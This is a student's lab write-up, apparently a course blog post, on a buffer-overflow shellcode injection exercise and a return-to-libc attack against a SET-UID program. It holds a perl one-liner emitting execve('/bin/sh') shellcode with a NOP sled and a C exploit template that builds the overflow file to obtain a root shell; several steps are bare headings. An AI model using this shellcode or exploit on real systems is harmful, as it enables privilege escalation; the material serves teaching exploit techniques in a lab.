20145206邹京儒《网络对抗技术》 PC平台逆向破解

注入shellcode并执行

一、准备一段shellcode

二、设置环境

具体在终端中输入如下:

apt-cache search execstack
apt-get install execstack
execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行


三、构造要注入的payload

1.Linux下有两种基本构造攻击buf的方法:

//缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
1.retaddr+nop+shellcode
2.nop+shellcode+retaddr

2、在终端中输入如下:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

3、打开一个新的终端窗口注入这段攻击buf

4、在另一个终端通过gdb调试确定返回地址


5.通过如下方式寻找需要输入的地址:

6.回到另一个终端,将input_shellcode修改如下:

成功了!

Retuen-to-libc实验

一、配置实验环境


2.关闭地址随机化:

二、漏洞程序

1.将漏洞程序保存在/tmp目录下,编译该程序,并设置SET-UID:
2.我们还需要用到一个读取环境变量的程序:

三、攻击程序

1.把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下

include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");

 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}

2.用刚才的getenvaddr程序获得BIN_SH地址:

3.利用gdb获得system和exit地址:


4.将找到的三个内存地址填写在exploit.c中:

5.删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c:

6.先运行攻击程序exploit,再运行漏洞程序retlib,攻击成功,获得了root权限:


posted on 2017-03-12 15:43  20145206邹京儒  阅读(167)  评论(0编辑  收藏  举报